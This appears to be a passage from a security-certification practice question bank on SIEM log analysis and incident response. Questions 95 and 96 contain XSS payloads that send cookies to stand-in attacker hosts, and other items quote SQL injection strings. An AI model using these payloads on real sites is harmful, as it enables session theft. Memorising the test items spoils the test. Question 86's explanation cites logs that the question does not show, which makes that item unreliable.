Security Operations

627 soru

Tüm türler627 Çoktan seçmeli320 Çoklu seçim139 Eşleştirme36 Sıralama132

A security team investigating a SIEM alert reviews the following syslog entries from a Linux authentication server:

text
2026-07-27T10:14:02Z auth-srv sshd[10421]: Failed password for invalid user admin from 198.51.100.45 port 49152 ssh2
2026-07-27T10:14:04Z auth-srv sshd[10423]: Failed password for invalid user guest from 198.51.100.45 port 49154 ssh2
2026-07-27T10:14:06Z auth-srv sshd[10425]: Failed password for user root from 198.51.100.45 port 49156 ssh2
2026-07-27T10:14:08Z auth-srv sshd[10428]: Accepted password for root from 198.51.100.45 port 49160 ssh2
2026-07-27T10:14:15Z auth-srv sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow

Based on the log snippet, which TWO conclusions accurately describe the activity taking place?

Geçerli olan tümünü seçin

A successful SSH authentication occurred following rapid sequential authentication failures from a single remote IP address.

An authenticated root session executed a privileged command to inspect system password hashes.

The initial login attempts failed due to authorization policy restrictions rather than identity verification errors.

The log entries demonstrate a successful web application SQL injection payload targeting the authentication database.

Cevabı ve açıklamayı göster

Cevap: A successful SSH authentication occurred following rapid sequential authentication failures from a single remote IP address.; An authenticated root session executed a privileged command to inspect system password hashes.

Cevap

The logs indicate that a successful SSH authentication occurred following rapid sequential authentication failures from a single remote IP address, and that an authenticated root session executed a privileged command to inspect system password hashes.

The SSH service log lines confirm multiple failed password attempts from 198.51.100.45 followed by an accepted password log entry for root. Shortly after, the sudo log line records the execution of a command viewing `/etc/shadow`, confirming privilege execution for credential dumping.

Adım Adım Çözüm

Analyze the timestamp and source IP patterns in the sshd log entries.

Three failed password attempts occurred between 10:14:02Z and 10:14:06Z from IP 198.51.100.45, followed immediately by an accepted password entry for user root at 10:14:08Z from the same IP address.

This sequence demonstrates an SSH brute-force or credential guessing attempt resulting in successful access.

Analyze the subsequent sudo execution log entry.

At 10:14:15Z, the root user executed `/usr/bin/cat /etc/shadow` via sudo.

The file `/etc/shadow` contains hashed passwords; reading this file represents post-exploitation credential harvesting.

Anahtar Kavram

Log Analysis and SIEM Event Correlation

Soru 82Soru →

A security analyst inspecting a SIEM alert reviews the following web server access log entries:

text
192.168.45.10 - - [27/Jul/2026:14:20:01 +0000] "GET /profile.php?id=101%20UNION%20SELECT%20username,password_hash%20FROM%20users-- HTTP/1.1" 200 4512
192.168.45.10 - - [27/Jul/2026:14:20:05 +0000] "POST /login.php HTTP/1.1" 200 1250
192.168.45.10 - - [27/Jul/2026:14:20:12 +0000] "GET /admin/config.php HTTP/1.1" 403 280

Which of the following best describes the attack progression shown in the log snippet and the security mechanism reflected by the final entry?

The attacker executed a SQL injection attack to retrieve credentials, successfully authenticated to the application, and was subsequently denied access due to an authorization restriction.

The attacker executed a Cross-Site Scripting (XSS) script to harvest session tokens, which failed during initial application authentication.

The attacker executed a SQL injection attack, but the final log entry indicates an authentication failure during identity verification.

The attacker attempted a SQL injection attack that was immediately blocked by a preventive network firewall control as indicated by HTTP 403.

Cevabı ve açıklamayı göster

Cevap: The attacker executed a SQL injection attack to retrieve credentials, successfully authenticated to the application, and was subsequently denied access due to an authorization restriction.

Cevap

The attacker executed a SQL injection attack to retrieve credentials, successfully authenticated to the application, and was subsequently denied access due to an authorization restriction.

The first log entry shows a URL-encoded SQL injection payload (`UNION SELECT username,password_hash FROM users`) that returned HTTP status code 200 OK, indicating successful execution and data extraction. The second entry shows a POST request to the login endpoint returning HTTP status code 200 OK, confirming successful authentication using the compromised credentials. The final entry targeting `/admin/config.php` returned HTTP status code 403 Forbidden, which signifies an authorization control enforcing access boundaries against an authenticated user.

Adım Adım Çözüm

Analyze the first log entry for attack indicators

The URL parameters contain `%20UNION%20SELECT%20username,password_hash%20FROM%20users--`, which is a classic SQL injection payload designed to extract credentials from the backend database.

Identifying the initial exploit vector determines how the attacker gained information or access.

Examine subsequent requests to trace event sequence

The second request demonstrates a POST request to `/login.php` resulting in HTTP status code 200 OK, indicating successful authentication.

Correlating timestamped log entries establishes the progression from database compromise to active user session.

Interpret the HTTP status code of the final request

The third request targets `/admin/config.php` and receives an HTTP 403 Forbidden response.

HTTP 403 Forbidden indicates that while the user's identity is authenticated, they lack the required access permissions (authorization) to view the requested resource.

Anahtar Kavram

Log Analysis and SIEM Correlation across Application Attack Vectors and AAA Controls

Soru 83Soru →

A security analyst reviews the following log entry from an internal web proxy gateway:

`2026-07-27T14:22:05Z proxy01 squid[4812]: 10.10.4.15 TCP_DENIED/403 3512 GET http://known-malicious-domain.org/updater.exe - HIER_NONE/- text/html`

Which of the following conclusions can be directly drawn from this log entry? (Select TWO.)

Geçerli olan tümünü seçin

The web proxy successfully blocked the outbound GET request attempt.

The connection attempt originated from the internal IP address 10.10.4.15.

The internal host 10.10.4.15 was successfully infected by updater.exe.

The remote server at known-malicious-domain.org returned an HTTP 200 OK status.

Cevabı ve açıklamayı göster

Cevap: The web proxy successfully blocked the outbound GET request attempt.; The connection attempt originated from the internal IP address 10.10.4.15.

Cevap

The proxy server blocked the outbound GET request attempt, and the connection attempt originated from the internal IP address 10.10.4.15.

Analyzing the log entry fields shows that internal IP 10.10.4.15 attempted to fetch an executable via HTTP GET. The proxy log header records 'TCP_DENIED/403', which demonstrates that the proxy policy triggered an HTTP 403 Forbidden action and prevented the file download.

Adım Adım Çözüm

Identify the source IP address in the log header.

The log lists `10.10.4.15` as the client IP initiating the connection request.

Proxy log formats place the client IP field prior to the action status codes.

Examine the proxy action code and HTTP status code.

The entry displays `TCP_DENIED/403`.

`TCP_DENIED` indicates proxy policy enforcement blocking the traffic, and HTTP code `403` signifies Access Forbidden.

Anahtar Kavram

Web Proxy Log Parsing and Event Status Interpretation

Tahmini Süre:45s

Soru 84Soru →

A security analyst investigating a high-priority SIEM alert reviews the following audit log snippet generated sequentially across cloud control plane services within a 15-second window:

[
{
"eventTime": "2026-07-27T14:22:05Z",
"eventName": "AssumeRole",
"userIdentity": { "type": "AWSAccount", "principalId": "AROA3X921EXAMPLE:session1" },
"sourceIPAddress": "198.51.100.45",
"requestParameters": { "roleArn": "arn:aws:iam::123456789012:role/DevOps-Admin-Role" }
},
{
"eventTime": "2026-07-27T14:22:12Z",
"eventName": "GetSecretValue",
"userIdentity": { "type": "AssumedRole", "principalId": "AROA3X921EXAMPLE:DevOps-Admin-Role" },
"sourceIPAddress": "198.51.100.45",
"requestParameters": { "secretId": "prod/db/credentials" }
},
{
"eventTime": "2026-07-27T14:22:18Z",
"eventName": "CreateAccessKey",
"userIdentity": { "type": "AssumedRole", "principalId": "AROA3X921EXAMPLE:DevOps-Admin-Role" },
"sourceIPAddress": "198.51.100.45",
"requestParameters": { "userName": "backup-svc" }
}
]

Based on these log entries, which of the following best assesses the threat activity and identifies the appropriate SIEM correlation rule tuning strategy?

An adversary assumed an administrative role to harvest database credentials and establish persistence via access key creation; configure a SIEM correlation rule to detect rapid sequences of AssumeRole followed by credential generation from untrusted IP addresses.

A SQL injection attack successfully extracted database secrets; deploy web application firewall (WAF) inspection rules to sanitize HTTP GET parameters on the secrets service endpoint.

An authentication failure occurred due to expired user credentials during IAM login; increase the SIEM alert threshold to trigger only after multiple failed login attempts.

Legitimate automated credential rotation; increase the SIEM correlation rule time window from seconds to hours to filter out operational false positives.

Cevabı ve açıklamayı göster

Cevap: An adversary assumed an administrative role to harvest database credentials and establish persistence via access key creation; configure a SIEM correlation rule to detect rapid sequences of AssumeRole followed by credential generation from untrusted IP addresses.

Cevap

The correct answer accurately identifies the attack chain: an actor leveraged temporary security credentials from an assumed role (AssumeRole) to read sensitive production secrets (GetSecretValue) and immediately created long-term access keys (CreateAccessKey) for persistence. Designing a SIEM correlation rule to monitor tight time windows between role assumption and persistence mechanisms from external IP addresses provides high-fidelity detection for account compromise.

Adım Adım Çözüm

Analyze the event sequence and timestamps in the cloud audit log snippet.

The log shows three distinct events from IP address 198.51.100.45 spanning 13 seconds: AssumeRole, GetSecretValue, and CreateAccessKey.

Tracking event progression across short timestamps reveals automated or rapid post-exploitation behavior.

Evaluate the security impact of each API operation in the context of the cyber attack lifecycle.

AssumeRole elevates permissions, GetSecretValue retrieves production database credentials (credential access), and CreateAccessKey generates long-term API access keys for an existing user account (persistence).

Identifying the specific API actions maps the log events directly to adversary tactics and techniques.

Determine the optimal SIEM correlation rule design to detect this pattern.

A multi-event correlation rule linking identity assumption, secret retrieval, and persistence generation within a tight time frame (e.g., < 60 seconds) effectively alerts on compromised role abuse without generating excessive false positives.

SIEM correlation engines rely on temporal and logical chaining of heterogeneous event types to identify compound threats.

Anahtar Kavram

Cloud Security Log Analysis and Multi-Event SIEM Correlation Rules

Soru 85Soru →

A Security Operations Center (SOC) engineer is building an automated Security Information and Event Management (SIEM) pipeline to process multi-cloud telemetry and on-premises event streams. To ensure correlation rules operate efficiently and reduce false positives, log data must be processed in a precise operational order. What is the correct sequence of stages for log processing within a SIEM pipeline from initial data reception to security incident notification?

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct sequential order of the SIEM pipeline stages is: Log Ingestion and Collection, followed by Parsing and Normalization, followed by Contextual Enrichment, followed by Rule Correlation, and concluding with Alerting and Incident Dispatch.

The SIEM log processing pipeline follows a logical data flow: First, Log Ingestion and Collection gathers raw event data from distributed endpoints. Second, Parsing and Normalization converts unformatted raw strings into standard key-value fields with unified UTC timestamps. Third, Contextual Enrichment adds value to parsed fields by attaching threat intelligence markers, asset risk levels, and location data. Fourth, Rule Correlation analyzes these normalized and enriched events against rule logic across time windows to detect suspicious patterns. Finally, Alerting and Incident Dispatch triggers analyst notifications and SOAR response playbooks upon confirmed rule matches.

Adım Adım Çözüm

Identify the entry point of the SIEM data pipeline.

Raw logs must first be gathered from source systems (firewalls, servers, cloud APIs) via collectors.

Data cannot be transformed or analyzed before it is ingested into the system.

Determine the data structuring requirement.

Raw logs are parsed into key-value pairs and timestamps are normalized to UTC.

Correlation and querying require standardized field structures across disparate log sources.

Apply contextual intelligence to structured logs.

Enrich normalized fields with GeoIP data, threat feeds, and asset risk scores.

Enrichment depends on having distinct, standardized fields (like source IP) to look up external context.

Evaluate enriched events against threat detection logic.

Run events through correlation rules across time-windowed cross-source event streams.

Correlation logic requires enriched contextual data and normalized fields to reliably match patterns across different sources without false positives.

Identify the final output phase of the pipeline.

Trigger SOC console alerts, ticketing, and SOAR orchestration responses.

Alerting is the output triggered only after correlation conditions are satisfied.

Anahtar Kavram

SIEM Log Processing Pipeline Order

Tahmini Süre:2m 0s

Soru 86Soru →

A Security Operations Center (SOC) analyst is reviewing the following aggregated log entries from a SIEM alert involving an internal host (10.2.12.85):

[Log 1: Active Directory Domain Controller - Event ID 4768]
TargetUserName: svc_database
ServiceTicketOptions: 0x40810000
TicketEncryptionType: 0x17 (RC4-HMAC)
ClientAddress: 10.2.12.85

[Log 2: Host Endpoint Sysmon - Event ID 1]
ProcessID: 4820
Image: C:\Windows\System32\cmd.exe
CommandLine: cmd.exe /c powershell.exe -nop -w hidden -e JABzAD0...
ParentImage: C:\Windows\System32\services.exe

Based on the log correlation above, which of the following cyber attack techniques is occurring?

Kerberoasting combined with encoded command execution and covert data exfiltration

Cross-Site Scripting (XSS) targeting a backend database service to manipulate SQL queries

Authorization bypass due to misconfigured access control lists on the perimeter firewall

A false positive alert resulting from misinterpreting a routine administrative batch script run

Cevabı ve açıklamayı göster

Cevap: Kerberoasting combined with encoded command execution and covert data exfiltration

Cevap

The correlated logs demonstrate Kerberoasting combined with encoded command execution and covert data exfiltration.

The combination of requesting RC4-encrypted Kerberos tickets for a service account (Event ID 4768), spawned obfuscated PowerShell processes (Sysmon Event ID 1), and a disproportionately large outbound network transfer points directly to Kerberoasting followed by automated payload execution and exfiltration.

Adım Adım Çözüm

Analyze Log 1 (Active Directory Event ID 4768)

Identify a Kerberos TGS request for service account 'svc_database' using legacy RC4 encryption (0x17), indicative of Kerberoasting.

Attackers request Kerberos service tickets with RC4 encryption because they can be cracked offline to reveal service account passwords.

Analyze Log 2 (Sysmon Event ID 1)

Identify suspicious obfuscated command execution via PowerShell launched by cmd.exe.

Base64 encoded command arguments (-e / -encodedcommand) are frequently utilized by post-exploitation frameworks to bypass simple command line inspection.

Analyze Log 3 (Perimeter Firewall Log)

Identify anomalous outbound transfer (485KB sent vs 1.4KB received) over HTTPS.

A high ratio of sent bytes compared to received bytes to an external IP address signals data exfiltration.

Anahtar Kavram

Log Correlation and SIEM Multi-Source Threat Analysis

Tahmini Süre:2m 0s

Soru 87Soru →

A SOC analyst reviews the following web server access log entry presented in a Security Information and Event Management (SIEM) console:

10.0.0.15 - - [27/Jul/2026:11:05:14 +0000] "GET /products.php?id=1%20OR%201=1 HTTP/1.1" 200 452

Which type of attack vector is indicated by this log entry?

SQL injection

Cross-Site Scripting (XSS)

Broken authorization control

Deterrent control failure

Cevabı ve açıklamayı göster

Cevap: SQL injection

Cevap

SQL injection

The payload `1 OR 1=1` appended to the parameter string in the HTTP GET request is designed to manipulate SQL statements executed by the database backend, making SQL injection the correct attack vector.

Adım Adım Çözüm

Inspect the URL query parameters within the HTTP GET request in the web log entry.

The query string contains `id=1%20OR%201=1`, where `%20` represents URL-encoded space characters.

Log parsing requires analyzing user-supplied parameters for unexpected syntax or command injection characters.

Evaluate the intent of the injected parameters.

The syntax `1 OR 1=1` forces a SQL conditional clause to evaluate to true regardless of original query conditions.

This is a fundamental signature of an inline SQL injection attack against a web application database.

Anahtar Kavram

Identifying SQL Injection Indicators in SIEM Web Server Logs

Soru 88Soru →

A security analyst investigates a SIEM alert triggered by the following sequential log entries collected from a Linux authentication server:

Jul 27 14:02:11 host01 sshd[14201]: Failed password for invalid user admin from 198.51.100.44 port 49152 ssh2
Jul 27 14:02:13 host01 sshd[14205]: Failed password for invalid user root from 198.51.100.44 port 49154 ssh2
Jul 27 14:02:15 host01 sshd[14210]: Failed password for user jdoe from 198.51.100.44 port 49156 ssh2
Jul 27 14:02:18 host01 sshd[14214]: Accepted password for user jdoe from 198.51.100.44 port 49160 ssh2
Jul 27 14:02:22 host01 sudo: jdoe : TTY=pts/1 ; PWD=/home/jdoe ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow

Based on these log entries, which of the following best describes the attack sequence and the correlation rule logic required to detect this incident?

A brute-force or password guessing attempt succeeded against a valid user account, followed by privileged local access attempt; the correlation rule should link multiple failed authentication events from a single source IP with a successful logon and subsequent sudo execution within a short time window.

An unauthorized client bypassed access control lists at the network boundary; the correlation rule should filter on network firewall deny logs and alert on authorization failures originating from external IP ranges.

A Cross-Site Scripting (XSS) attack compromised the session cookies of a web application administrator; the correlation rule should look for HTTP GET requests containing embedded script tags in web server access logs.

A rogue insider executed unapproved software; the SIEM rule should apply a compensating control to permanently disable sudo access for all unprivileged users across the enterprise network.

Cevabı ve açıklamayı göster

Cevap: A brute-force or password guessing attempt succeeded against a valid user account, followed by privileged local access attempt; the correlation rule should link multiple failed authentication events from a single source IP with a successful logon and subsequent sudo execution within a short time window.

Cevap

The attack sequence consists of an external password guessing or brute-force attack from IP 198.51.100.44 that succeeds against account 'jdoe', followed immediately by a privilege escalation attempt using sudo to read /etc/shadow. The correlation rule must aggregate sequential host authentication events across SSH and sudo logs within a tight temporal window.

The log sequence displays an external IP attempting passwords against multiple user accounts via SSH. After several failures, a login succeeds for user 'jdoe'. Within four seconds, 'jdoe' executes a sudo command to inspect /etc/shadow, which contains password hashes. Effective SIEM management requires linking these sequential events (failures -> success -> privileged command) from the same source into a unified incident alert.

Adım Adım Çözüm

Analyze initial authentication attempts

Identified multiple SSH failed password attempts from external source IP 198.51.100.44 targeting invalid and valid user accounts (admin, root, jdoe).

Establishes the initial access vector (password guessing/brute force).

Analyze successful authentication and subsequent host activity

At 14:02:18, password authentication succeeds for 'jdoe' from the same source IP, followed 4 seconds later by a sudo execution targeting /etc/shadow.

Confirms account compromise and immediate privilege escalation/reconnaissance activity.

Formulate SIEM correlation rule criteria

Design a rule requiring: (Failed SSH Auth Count >= threshold from IP_X) AND (Successful SSH Auth from IP_X) AND (Sudo Execution by authenticated user) within Δt <= 60 seconds.

Captures the multi-stage attack context while suppressing single-event noise.

Anahtar Kavram

SIEM Event Correlation and Authentication Log Analysis

Soru 89Soru →

Match each security log entry snippet extracted from enterprise monitoring systems to the corresponding attack vector or security incident type it accurately represents.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Cevabı ve açıklamayı göster

Cevap

1. GET request with database CONVERT function syntax maps to Error-Based SQL Injection (SQLi).
2. Firewall drop logs showing rapid sequential destination port connection attempts map to Reconnaissance / Horizontal Port Scanning.
3. Windows Event ID 4769 requesting TGS tickets with RC4 encryption for SPNs maps to Kerberoasting Credential Theft.
4. Multipart POST request containing PHP command execution syntax inside image uploads maps to Unrestricted File Upload / Web Shell Deployment.

Each security log snippet exhibits unique protocol and event attributes: SQL execution syntax in HTTP GET parameters indicates Error-Based SQL Injection; sequential port probes in firewall logs indicate Horizontal Port Scanning; Windows Event ID 4769 with legacy RC4 encryption indicates Kerberoasting; and PHP command injection inside multipart uploads indicates Web Shell Deployment.

Adım Adım Çözüm

Analyze the web request URL parameter containing SQL type conversion functions (`CONVERT`).

Identified as Error-Based SQL Injection.

Forcing database conversion errors forces backend SQL engines to output internal state data into application error pages.

Examine firewall drop events originating from a single source host probing sequential port numbers in sub-second intervals.

Identified as Horizontal Port Scanning.

Sequential attempts on standard service ports (FTP/21, SSH/22, Telnet/23) indicate active network reconnaissance.

Evaluate Active Directory Event ID 4769 requesting Kerberos service tickets for Service Principal Names (SPNs) using RC4-HMAC encryption.

Identified as Kerberoasting.

Requesting TGS tickets with legacy RC4 encryption enables threat actors to extract ticket hashes and crack service passwords offline.

Inspect the file upload POST payload containing raw PHP system call instructions within a disguised file extension.

Identified as Web Shell Deployment via Unrestricted File Upload.

Bypassing extension controls to write executable server scripts permits persistent remote administrative control.

Anahtar Kavram

SIEM Log Analysis and Threat Signature Pattern Matching

Soru 90Soru →

A security analyst is executing an incident response playbook following a confirmed malware alert on a user workstation. Which of the following actions represent appropriate steps during the containment phase of the incident response process? (Select TWO.)

Geçerli olan tümünü seçin

Disconnecting the workstation from the network by disabling its network interface

Applying temporary ACLs at the perimeter firewall to block outbound communication to known malicious IP addresses

Reimaging the infected system's hard drive using a standard gold master image

Holding a post-incident review session with the incident response team to update playbook documentation

Cevabı ve açıklamayı göster

Cevap: Disconnecting the workstation from the network by disabling its network interface; Applying temporary ACLs at the perimeter firewall to block outbound communication to known malicious IP addresses

Cevap

The appropriate containment steps are disconnecting the workstation from the network by disabling its network interface and applying temporary firewall ACLs to block outbound communication to malicious command-and-control servers.

During the containment phase of incident response, the main priority is stopping the spread of the attack and limiting its impact. Disabling the local network interface isolates the system from internal network assets, stopping lateral movement. Blocking outbound traffic to command-and-control IP addresses prevents ongoing data exfiltration and remote attacker control.

Adım Adım Çözüm

Determine the primary objective of the containment phase

Containment focuses on restricting the impact of an incident and preventing further damage or propagation.

Isolating infected systems and blocking active attack vectors stops the incident from spreading while preserving evidence for investigation.

Evaluate response actions against incident response phases

Disabling network connectivity and blocking command-and-control traffic directly restrict threat movement, fitting containment. Reimaging systems belongs to eradication/recovery, and reviewing playbooks belongs to post-incident activities.

Executing eradication or post-incident actions out of order can disrupt evidence collection or leave active threats uncontained.

Anahtar Kavram

Incident Response Containment Actions

Soru 91Soru →

A security analyst is configuring a new Security Information and Event Management (SIEM) system. Match each SIEM log processing function on the left to its correct operation on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Cevabı ve açıklamayı göster

Cevap

Log Parsing matches with extracting structured key-value pairs from raw log text. Log Normalization matches with mapping disparate log attributes into a standardized schema. Event Correlation matches with analyzing relationships across disparate log sources to detect threat patterns. Log Aggregation matches with consolidating redundant log entries to reduce storage overhead.

Each SIEM pipeline stage addresses a specific data processing requirement: Parsing converts raw unformatted text into structured fields; Normalization aligns varying field formats into a common vendor-agnostic taxonomy; Correlation connects events across different systems to identify multi-stage attacks; and Aggregation deduplicates identical events to reduce storage footprint.

Adım Adım Çözüm

Identify the primary purpose of log parsing.

Parsing breaks raw unstructured text log entries into identifiable, structured attributes.

SIEM systems must parse raw logs before fields can be searched or processed.

Identify the primary purpose of log normalization.

Normalization enforces a consistent naming standard across diverse log sources.

Different vendors use different log column names, requiring schema standardization.

Identify the primary purpose of event correlation.

Correlation cross-references logs from multiple devices to uncover security incidents.

Complex attacks span multiple systems and require rules to connect separate events.

Identify the primary purpose of log aggregation.

Aggregation combines duplicate log records to optimize data storage and ingest performance.

High-volume repetitive logs generate unnecessary overhead if not merged.

Anahtar Kavram

SIEM Log Ingestion and Processing Pipeline Stages

Soru 92Soru →

A security engineer is configuring an enterprise Security Information and Event Management (SIEM) system to process event data collected from heterogeneous endpoints and network appliances across the organization. Arrange the stages of the SIEM log processing pipeline in the correct chronological sequence from initial log capture to analyst notification.

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct chronological order of stages in a SIEM log processing pipeline is: 1) Log Ingestion and Collection, 2) Parsing and Normalization, 3) Event Correlation, and 4) Alert Generation.

The standard SIEM data ingestion lifecycle begins with raw log collection from target endpoints and systems. Once ingested, raw logs are parsed and normalized into a unified structure so that different log formats share common field definitions. The SIEM correlation engine then processes these normalized events against correlation rules and threat intelligence to identify complex threat patterns across multiple hosts. Finally, when correlation conditions are satisfied, the SIEM generates alerts and notifications for security analyst response.

Adım Adım Çözüm

Identify the initial source interaction stage.

Raw event streams are gathered from remote agents, syslog, and enterprise applications.

Log Ingestion and Collection must occur first because data cannot be formatted or analyzed until it is acquired from source devices.

Determine how heterogeneous log data is standardized.

Raw entries are parsed into key-value pairs and mapped to a single unified field schema.

Parsing and Normalization must follow collection so that events from different vendors can be understood under common variable names.

Analyze how standardized logs are processed for security logic.

Normalized event logs from disparate systems are analyzed simultaneously against security correlation rules.

Event Correlation requires normalized data to effectively evaluate multi-source telemetry and recognize complex attack vectors.

Determine the final output step of the pipeline.

Notifications and incident tickets are dispatched to security analysts for investigation.

Alert Generation occurs as the end result when correlation rules confirm actionable threat indicators.

Anahtar Kavram

SIEM Log Processing Lifecycle

Tahmini Süre:1m 30s

Soru 93Soru →

A security operations center (SOC) analyst is configuring correlation rules in an enterprise SIEM platform. Match each log entry signature snippet to the specific security attack vector or suspicious activity indicator it demonstrates.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Cevabı ve açıklamayı göster

Cevap

Matching pairs: (1) SQL Injection UNION SELECT payload matches SQL Injection exfiltration attempt; (2) Event ID 4625 rapid failures match Automated password brute-force attack; (3) HTTP POST script cookie stealer matches Cross-Site Scripting (XSS) payload; (4) Event ID 4769 with RC4 ticket encryption for service account matches Kerberoasting attack.

Each log pattern exhibits a unique signature key: SQL syntax elements signal SQL Injection, high-frequency logon failure events (Event 4625) indicate brute-force attempts, HTML script tags attempting cookie access indicate XSS, and Kerberos TGS requests (Event 4769) requesting RC4 encryption for service accounts indicate Kerberoasting.

Adım Adım Çözüm

Analyze web log queries for database syntax.

Identify 'UNION SELECT username,password_hash FROM users' as SQL Injection.

SQL syntax in URL parameters indicates SQLi targeting backend database retrieval.

Analyze Windows Event ID 4625 patterns.

Identify high frequency (450 attempts/minute) of failed logons as online brute-forcing.

Event ID 4625 captures failed authentication events.

Inspect web log POST payloads for script tags.

Identify `<script>...document.cookie...</script>` as Cross-Site Scripting (XSS).

Executable JavaScript injected via web form inputs targeting session tokens represents XSS.

Evaluate Active Directory Kerberos ticket requests (Event ID 4769).

Identify RC4-HMAC (0x17) ticket requests for service accounts as Kerberoasting.

Kerberoasting forces legacy RC4 ticket issuance for service accounts to execute offline hash cracking.

Anahtar Kavram

Log Analysis and SIEM Correlation Signatures

Soru 94Soru →

An enterprise web application triggers a high-severity alert indicating that an active OAuth access token is simultaneously originating requests from two geographically disparate IP addresses. A security operations team is configuring an automated Security Orchestration, Automation, and Response (SOAR) playbook to remediate the account takeover attempt while preserving evidence. Place the following SOAR automated playbook steps into the correct execution sequence from first to last.

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct operational sequence for the SOAR playbook is: 1) Ingest the API Gateway anomaly webhook event, 2) Query threat intelligence and identity logs for enrichment, 3) Execute API requests to revoke OAuth tokens and terminate user sessions, 4) Push automated API commands to the WAF to block malicious IPs, and 5) Create an enriched ITSM incident ticket with attached forensic artifacts.

A standard SOAR automated incident response workflow adheres to a strict logical lifecycle. First, the playbook ingests the security alert payload from the detection system (API Gateway). Second, it queries external Threat Intelligence Platforms and Internal Identity Providers to enrich the alert with reputation scores and session metadata. Third, it performs identity-level containment by revoking active OAuth tokens and invalidating sessions via API integrations to neutralize compromised credentials instantly. Fourth, it enforces perimeter network filtering at the WAF to block malicious source IPs. Finally, it documents all orchestration actions, attaches collected evidence, and opens/updates an ITSM ticket for analyst review.

Adım Adım Çözüm

Trigger & Ingestion

The SOAR platform receives the initial security event payload from the API Gateway.

Automation workflows cannot process data until the initial alert webhook is ingested into the orchestration engine.

Automated Contextual Enrichment

IP reputation scores and IdP session details are attached to the incident context.

Enrichment provides necessary context and validates the anomaly before executing destructive containment actions.

Identity & Account Containment

The compromised token is revoked and active user sessions are terminated.

Direct identity containment prevents further authenticated access regardless of the attacker's network location.

Infrastructure & Perimeter Containment

Network traffic from the attacker's IP addresses is dropped at the WAF boundary.

Network mitigation blocks ongoing unauthenticated scan or attack traffic from the malicious source IPs.

Documentation & ITSM Escalation

An incident ticket is updated with full audit trails, context, and mitigation status.

Recording automated actions ensures compliance, chain of custody, and operational visibility for SOC analysts.

Anahtar Kavram

SOAR Playbook Execution Order (Ingestion -> Enrichment -> Containment -> Documentation)

Soru 95Soru →

A security analyst is investigating web traffic logs forwarded to an enterprise SIEM platform and identifies the following log entry:

`192.168.1.45 - - [27/Jul/2026:14:15:22 +0000] "GET /search.php?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> HTTP/1.1" 200 4520`

Based on this log entry, which attack vector should be selected to classify this event and write a SIEM detection rule?

Reflected Cross-Site Scripting (XSS) targeting client-side session tokens

SQL injection (SQLi) targeting backend database tables

Authorization failure attempting administrative privilege escalation

SIEM correlation rule syntax error failing multi-device event sequence parsing

Cevabı ve açıklamayı göster

Cevap: Reflected Cross-Site Scripting (XSS) targeting client-side session tokens

Cevap

Reflected Cross-Site Scripting (XSS) targeting client-side session tokens

The log entry demonstrates an HTTP GET request containing `<script>` tags that reference `document.cookie` and attempt to transmit it to an external server. This signature directly matches Cross-Site Scripting (XSS), specifically aimed at session hijacking.

Adım Adım Çözüm

Inspect the URL query parameter within the HTTP GET log entry.

The parameter `q` contains `<script>` tags executing `document.location` redirect operations appended with `document.cookie`.

Identifying the payload structure reveals whether the execution context is client-side or server-side.

Differentiate Cross-Site Scripting (XSS) from database or access control attacks.

Script execution inside a web browser targeting session storage represents XSS.

XSS targets the client browser execution environment, whereas SQLi targets backend database engines.

Anahtar Kavram

Identifying web application attack payload signatures in SIEM HTTP access logs

Soru 96Soru →

During an automated security incident evaluation, a threat monitoring system correlated two consecutive events originating from external host 198.51.100.44:

text
Event ID 8102 [WAF Log]: 198.51.100.44 - - [12/Jun/2026:14:22:01 +0000] "GET /profile?user=<script>document.location='http://attacker.example/steal?c='+document.cookie</script> HTTP/1.1" 200 4520
Event ID 8103 [Auth Log]: 198.51.100.44 - - [12/Jun/2026:14:22:05 +0000] "POST /api/v2/auth/session_adopt HTTP/1.1" 200 128 Cookie: session_id=e9a1b2c3

Based on the log entries above, which security threat vector is actively taking place, and what is its primary impact?

Reflected Cross-Site Scripting (XSS) leveraged to achieve session hijacking through client-side cookie theft.

SQL Injection (SQLi) executing arbitrary commands against backend relational database tables.

An authorization failure allowing an authenticated user to perform unauthorized privilege escalation.

A SIEM normalization error caused by mismatched timestamp parsing across separate log streams.

Cevabı ve açıklamayı göster

Cevap: Reflected Cross-Site Scripting (XSS) leveraged to achieve session hijacking through client-side cookie theft.

Cevap

Reflected Cross-Site Scripting (XSS) leveraged to achieve session hijacking through client-side cookie theft.

The WAF log entry displays a explicit `<script>` tag containing `document.cookie` intended to forward cookie data to an external location, which is a classic Cross-Site Scripting (XSS) attack vector. The subsequent authentication log entry shows the same external host presenting a valid session cookie four seconds later, confirming that the attacker successfully hijacked the session.

Adım Adım Çözüm

Analyze Event ID 8102 payload structure

Identified client-side JavaScript execution payload `<script>document.location='...'+document.cookie</script>` submitted via HTTP GET query string.

Characterizes Cross-Site Scripting (XSS) targeted at stealing session storage identifiers.

Analyze Event ID 8103 log details and correlate timestamps

Four seconds after the XSS attempt, the same remote IP address submits a POST request containing a session Cookie header.

Confirms successful session hijacking following cookie exfiltration.

Evaluate overall threat vector

Determined that XSS was used as the vector to commit session hijacking.

Combines log evidence from both WAF and authentication log lines into a unified incident narrative.

Anahtar Kavram

Correlating multi-source logs in SIEM to detect XSS and session hijacking attack patterns

Soru 97Soru →

During routine network monitoring, a security operations center (SOC) analyst confirms the presence of an unauthorized rogue wireless access point connected directly to a wall port in the enterprise building. Following standard incident response procedures, which of the following actions should the analyst perform first?

Disable the switch port associated with the rogue wireless access point.

Reimage all client workstations located within the immediate physical floor section.

Conduct a post-incident lessons learned session to revise physical security controls.

Configure an external perimeter firewall rule to block inbound remote management traffic.

Cevabı ve açıklamayı göster

Cevap: Disable the switch port associated with the rogue wireless access point.

Cevap

Disable the switch port associated with the rogue wireless access point.

Disabling the switch port isolates the rogue device from the network immediately, satisfying the requirement to contain the incident before executing recovery or post-incident activities.

Adım Adım Çözüm

Determine the current incident response stage

